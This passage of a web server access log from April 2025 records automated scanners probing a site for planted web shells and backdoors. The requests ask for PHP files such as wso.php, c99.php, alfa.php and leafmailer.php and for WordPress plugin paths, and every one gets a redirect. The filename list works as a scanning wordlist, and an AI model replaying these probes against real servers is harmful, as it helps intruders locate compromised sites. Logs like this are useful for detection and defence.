Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:18:34 -0400] "GET /ru.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:18:35 -0400] "GET /if.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:18:37 -0400] "GET /vuln.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:18:40 -0400] "GET /fw.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:18:42 -0400] "GET /skipper.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:18:43 -0400] "GET /skippershell.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:18:46 -0400] "GET /tttt.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:18:48 -0400] "GET /tshop.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:18:50 -0400] "GET /alfa.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:18:52 -0400] "GET /shell.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:18:54 -0400] "GET /inje3ctor.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:18:57 -0400] "GET /saudi.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:18:59 -0400] "GET /wso.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:19:02 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:19:04 -0400] "GET /my_alfa.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:19:05 -0400] "GET /uploader.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:19:08 -0400] "GET /up.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:19:12 -0400] "GET /hacked.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:19:14 -0400] "GET /c99.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:19:16 -0400] "GET /priv8.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:19:19 -0400] "GET /Navir.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:19:22 -0400] "GET /cmd13.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:19:24 -0400] "GET /inc20k1.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:19:26 -0400] "GET /1index.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:19:28 -0400] "GET /404.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:19:32 -0400] "GET /swm.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:19:35 -0400] "GET /wp.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:19:38 -0400] "GET /doc.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:19:40 -0400] "GET /shx.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:19:41 -0400] "GET /ws.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:19:44 -0400] "GET /m.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:19:46 -0400] "GET /edit-form.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:19:48 -0400] "GET /LEAF.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:19:51 -0400] "GET /leafmailer.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:19:53 -0400] "GET /mailer.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:19:54 -0400] "GET /leafmailer2.8.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:19:58 -0400] "GET /Leaf.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:20:00 -0400] "GET /leaf.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:20:03 -0400] "GET /x.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:20:07 -0400] "GET /srx.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:20:10 -0400] "GET /1337.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:20:12 -0400] "GET /xx.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:20:15 -0400] "GET /XxX.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:20:17 -0400] "GET /lf.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:20:19 -0400] "GET /alex.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:20:21 -0400] "GET /new.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:20:23 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:20:25 -0400] "GET /gaza.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:20:27 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:20:29 -0400] "GET /3index.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:20:31 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:20:33 -0400] "GET /wso1.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:20:35 -0400] "GET /bb.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:20:37 -0400] "GET /Lux.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:20:40 -0400] "GET /haxor.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 43.131.36.84 - - [14/Apr/2025:19:53:34 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 46.148.206.226 - - [14/Apr/2025:20:34:49 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 CCleaner/130.0.0.0" 66.212.18.223 - - [14/Apr/2025:20:52:29 -0400] "GET /wechat_shop-master/Public/admin/lib/webuploader/0.1.5/server/preview.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 207.211.165.241 - - [14/Apr/2025:20:56:51 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 18.223.108.59 - - [14/Apr/2025:21:21:14 -0400] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.3" 2003:ed:7739:ec00:dea6:32ff:fe22:5652 - - [14/Apr/2025:21:31:06 -0400] "GET /retainership-modules HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Edg/91.0.864.54" 52.168.148.175 - - [14/Apr/2025:21:34:49 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:34:49 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:34:50 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:34:50 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:34:50 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:34:50 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:34:51 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:34:51 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:34:51 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:34:52 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:34:52 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:34:52 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:34:52 -0400] "GET /yindu.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:34:52 -0400] "GET /wp-admin/class-db.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:34:53 -0400] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:34:53 -0400] "GET /baxa1.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:34:53 -0400] "GET /.well-known//index.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:34:54 -0400] "GET /libraries/phpmailer//index.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:34:54 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:34:54 -0400] "GET /wp-admin/css/colors/blue//1.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:34:54 -0400] "GET /wp-content/plugins//about.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:34:54 -0400] "GET /wp-content/plugins//index.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:34:55 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:34:55 -0400] "GET /wp-content/uploads/BbUMY/flower.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:34:55 -0400] "GET /wp-includes/ID3//file.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:34:55 -0400] "GET /wp-includes/Text/Diff/Engine//about.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:34:55 -0400] "GET /wp-includes/Text/Diff/Engine//index.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:34:56 -0400] "GET /wp-includes/css//index.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:34:56 -0400] "GET /wp-includes/css//xc.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:34:56 -0400] "GET /wp-includes/images//about.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:34:56 -0400] "GET /wp-includes/images/crystal//index.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:34:57 -0400] "GET /wp//index.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:34:57 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:34:57 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:34:57 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:34:57 -0400] "GET /functions.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:34:58 -0400] "GET /cron.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:34:58 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:34:58 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:34:58 -0400] "GET /cookie.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:34:58 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:34:59 -0400] "GET /spip.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:34:59 -0400] "GET /22.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:34:59 -0400] "GET /room.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:34:59 -0400] "GET /disagreed.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:34:59 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:35:00 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:35:00 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:35:00 -0400] "GET /feeds.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:35:00 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:35:00 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:35:01 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:35:01 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:35:01 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:35:01 -0400] "GET /xmlrpc.php0 HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:35:01 -0400] "GET /colors.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:35:02 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:35:02 -0400] "GET /alfa-rex1.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:35:02 -0400] "GET /wp-index.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:35:02 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:35:03 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:35:03 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:35:03 -0400] "GET /locale.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:35:04 -0400] "GET /wxo.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:35:05 -0400] "GET /colour.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:35:05 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:35:06 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:35:06 -0400] "GET /wp-contentt.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:35:07 -0400] "GET /config.php7 HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:35:07 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:35:07 -0400] "GET /theme.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:35:08 -0400] "GET /block-bindings.php HTTP/1.1" 301 795 "-" "-" 170.106.110.146 - - [14/Apr/2025:21:35:08 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 52.168.148.175 - - [14/Apr/2025:21:35:08 -0400] "GET /class_api.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:35:08 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:35:09 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:35:09 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:35:09 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:35:09 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:35:10 -0400] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:35:10 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:35:10 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:35:10 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:35:11 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "-" 52.168.148.175 - - [14/Apr/2025:21:35:11 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 197.147.217.168 - - [14/Apr/2025:21:36:26 -0400] "GET /shell4.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:36:29 -0400] "GET /ups.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:36:31 -0400] "GET /ru.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:36:34 -0400] "GET /if.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:36:37 -0400] "GET /vuln.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:36:40 -0400] "GET /fw.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:36:43 -0400] "GET /skipper.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:36:45 -0400] "GET /skippershell.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:36:48 -0400] "GET /tttt.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:36:51 -0400] "GET /tshop.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:36:53 -0400] "GET /alfa.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:36:56 -0400] "GET /shell.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:37:00 -0400] "GET /inje3ctor.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:37:02 -0400] "GET /saudi.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:37:06 -0400] "GET /wso.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:37:10 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:37:13 -0400] "GET /my_alfa.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:37:16 -0400] "GET /uploader.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:37:19 -0400] "GET /up.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:37:22 -0400] "GET /hacked.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:37:25 -0400] "GET /c99.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:21:37:28 -0400] "GET /priv8.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 